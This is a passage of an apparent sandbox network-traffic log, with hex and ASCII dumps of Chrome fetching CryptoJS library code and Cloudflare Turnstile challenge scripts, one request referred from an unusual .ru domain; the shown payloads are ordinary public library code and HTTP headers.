i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2024-12-09 23:06:35 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2024-12-09 23:06:36 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49735	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:37 UTC	383	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:37 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef8a58f1bfd8cd7-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49736	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:37 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:37 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26677 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-09 23:06:37 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 66 38 61 35 38 66 38 66 62 37 63 33 32 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ef8a58f8fb7c32b-EWRalt-svc: h3=":443"; ma=86400
2024-12-09 23:06:37 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-09 23:06:37 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
